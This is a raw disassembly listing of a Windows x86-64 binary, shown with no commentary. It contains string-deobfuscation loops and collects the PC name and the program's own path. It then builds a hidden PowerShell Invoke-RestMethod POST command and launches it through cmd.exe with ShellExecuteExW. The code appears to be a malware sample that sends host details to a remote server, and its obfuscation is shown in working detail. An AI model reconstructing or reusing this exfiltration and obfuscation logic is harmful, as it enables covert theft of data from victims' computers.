shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x14001a770
cmp r8d, 0x4a
jge 0x14001a8c0
movsxd rax, r8d
lea r9, [rbp + 0xc0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4a
jl 0x14001a890
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
lea rax, [rbp + 0xc0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001a8e0
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x58]
call fcn.1400040c0
nop
mov r8d, 0xd
lea rdx, str.____PC_Name:
lea rcx, [rsp + 0x58]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x1400414b0]
cmp qword [0x1400414c8], 0xf
cmova rdx, qword [0x1400414b0]
mov r8, qword [0x1400414c0]
lea rcx, [rbp]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x14003351c]
lea rcx, [rsp + 0x38]
call fcn.140027300
movups xmm7, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm6
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14001aa14
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001aa0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001aa0f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14001aa65
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001aa60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001aa60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14001aab5
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001aab0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001aab0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov r8d, 0x104
lea rdx, [rbp + 0x270]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], r12
lea rax, [rbp + 0x270]
mov r8, rsi
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x14001ab00
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x140]
call fcn.14002a0b0
nop
lea rcx, [rbp + 0x140]
mov rax, qword [rbp + 0x150]
cmp qword [rbp + 0x158], 7
jbe 0x14001ab44
mov rdx, qword [rbp + 0x140]
lea r9, [rdx + rax*2]
jmp 0x14001ab4f
lea r9, [rcx + rax*2]
lea rdx, [rbp + 0x140]
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
cmp rdx, r9
jne 0x14001ab77
mov qword [rbp + 0x70], r12
mov r15d, 0xf
mov qword [rbp + 0x78], r15
mov byte [rbp + 0x60], 0
jmp 0x14001ab8a
sub r9, rdx
sar r9, 1
lea rcx, [rbp + 0x60]
call fcn.14002b440
mov r15, qword [rbp + 0x78]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
movq r13, xmm6
sub rax, r13
cmp rax, 0x2a
jb 0x14001c2ba
lea rdx, [rbp + 0xc0]
psrldq xmm6, 8
movq rax, xmm6
mov qword [rbp + 0x40], rax
cmp rax, 0xf
seta byte [rsp + 0x30]
movq r14, xmm7
cmova rdx, r14
mov qword [rbp - 8], rdx
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
lea r12, [r13 + 0x2a]
mov edi, 0xf
lea rbx, [rbp]
cmp r12, rdi
jbe 0x14001ac7d
mov rdi, r12
or rdi, 0xf
cmp rdi, rcx
jbe 0x14001ac35
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14002dd78
test rax, rax
je 0x14001ac5d
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
mov rdx, qword [rbp - 8]
jmp 0x14001ac79
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14001ac64
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001c2ae
jmp 0x14001ac16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14001ac77
call fcn.14002dd78
mov rbx, rax
mov rdx, qword [rbp - 8]
jmp 0x14001ac79
xor ebx, ebx
mov qword [rbp], rbx
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], rdi
movups xmm0, xmmword [str.powershell__Command___body___content__]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x140033680]
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [0x140033690]
movsd qword [rbx + 0x20], xmm0
movzx eax, word [0x140033698]
mov word [rbx + 0x28], ax
lea rcx, [rbx + 0x2a]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r12], 0
mov r8d, 0x2d
lea rdx, str.__ConvertTo_Json__Invoke_RestMethod__Uri_
lea rcx, [rbp]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor r12d, r12d
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea rax, [rbp + 0x180]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14001ad15
mov r8, rsi
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x58]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x3b
lea rdx, str.__Method_Post__Body__body__ContentType_application_json_
lea rcx, [rsp + 0x38]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14001ade8
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ade3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001ade3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14001ae3b
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ae36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001ae36
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14001ae8c
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ae87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001ae87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
lea rcx, [rbp + 0x20]
mov r8, qword [rbp + 0x30]
cmp qword [rbp + 0x38], 0xf
jbe 0x14001aeb4
mov rdx, qword [rbp + 0x20]
add r8, rdx
jmp 0x14001aebb
add r8, rcx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x220]
call fcn.1400291b0
nop
lea r8, [rbp + 0x220]
lea rdx, [0x1400336a0]
lea rcx, [rbp + 0xa0]
call fcn.140028d10
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x80], WSACleanup
mov dword [rbp - 0x7c], 0x40
mov qword [rbp - 0x78], r12
lea rax, str.open
mov qword [rbp - 0x70], rax
lea rax, str.cmd.exe
mov qword [rbp - 0x68], rax
lea rax, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 7
cmova rax, qword [rbp + 0xa0]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], r12
mov dword [rbp - 0x50], r12d
mov qword [rbp - 0x48], r12
lea rcx, [rbp - 0x80]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0xb8]
cmp rdx, 7
jbe 0x14001afbc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001afb7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001afb7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 7
mov word [rbp + 0xa0], r12w
mov rdx, qword [rbp + 0x238]
cmp rdx, 7
jbe 0x14001b020
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b01a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001b01a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14001b05e
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b059
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001b059
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
cmp r15, 0xf
jbe 0x14001b0aa
lea rdx, [r15 + 1]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b0a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001b0a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 7
jbe 0x14001b0f3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b0ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001b0ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], 7
mov word [rbp + 0x140], r12w
cmp byte [rsp + 0x30], 0
je 0x14001c0ef
mov rdx, qword [rbp + 0x40]
inc rdx
mov rax, r14
cmp rdx, 0x1000
jb 0x14001c0e6
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c0e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r8d, r12d
cmp r15d, 2
jl 0x14001b295
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm6, xmmword [0x140036090]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x20]
mov edx, dword [rbp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14001b190
cmp r8d, 0x11
jge 0x14001b2d0
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14001b2a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r12
lea rax, [rbp + 0x20]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14001b2e6
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x40]
call fcn.1400040c0
nop
mov edi, dword [rbp + 0x50]
lea r8, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova r8, qword [rbp + 0x40]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.14002e0cc
mov r14, rax
lea r8, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova r8, qword [rbp + 0x40]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r12
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp word [r14 + r8*2], 0
jne 0x14001b380
mov rdx, r14
lea rcx, [rsp + 0x38]
call fcn.14002a0b0
mov rcx, r14
call fcn.14002dd70
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rdx, qword [rsp + 0x38]
mov r9d, 0x10
lea r8, [0x140033518]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x14001b40b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b406
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001b406
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], 7
mov word [rsp + 0x38], r12w
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14001b45d
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b458
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001b458
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
movups xmm0, xmmword [0x1400356f0]
movups xmmword [rbp + 0x180], xmm0
movups xmm0, xmmword [0x140035710]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm0, xmmword [0x140035730]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm0, xmmword [0x140035750]
movups xmm1, xmmword [0x140035700]
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x190], xmm1
movsd xmm0, qword [0x140035760]
movups xmm1, xmmword [0x140035720]
movsd qword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x1b0], xmm1
movzx eax, word [0x140035768]
movups xmm0, xmmword [0x140035380]
movups xmm1, xmmword [0x140035740]
mov word [rbp + 0x1f8], ax
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0x1d0], xmm1
mov eax, dword [0x1400353c8]
movups xmm0, xmmword [0x1400353a0]
movups xmm1, xmmword [0x140035390]
mov dword [rbp + 0x108], eax
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xd0], xmm1
movzx eax, word [0x1400353cc]
movsd xmm0, qword [0x1400353c0]
movups xmm1, xmmword [0x1400353b0]
mov word [rbp + 0x10c], ax
movsd qword [rbp + 0x100], xmm0
movups xmmword [rbp + 0xf0], xmm1
mov r8d, r12d
cmp r15d, 2
jl 0x14001b685
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm6, xmmword [0x140036090]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x180]
mov edx, dword [rbp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14001b580
cmp r8d, 0x7a
jge 0x14001b6d0
movsxd rax, r8d
lea r9, [rbp + 0x180]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7a
jl 0x14001b6a0
mov r8d, r12d
cmp r15d, 2
jl 0x14001b815
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm6, xmmword [0x140036090]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0xc0]
mov edx, dword [rbp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x14001b710
cmp r8d, 0x4e
jge 0x14001b860
movsxd rax, r8d
lea r9, [rbp + 0xc0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4e
jl 0x14001b830
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
lea rax, [rbp + 0xc0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001b880
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x20]
call fcn.1400040c0
nop
mov r8d, 0xd
lea rdx, str.____PC_Name:
lea rcx, [rbp + 0x20]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x1400414b0]
cmp qword [0x1400414c8], 0xf
cmova rdx, qword [0x1400414b0]
mov r8, qword [0x1400414c0]
lea rcx, [rsp + 0x38]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
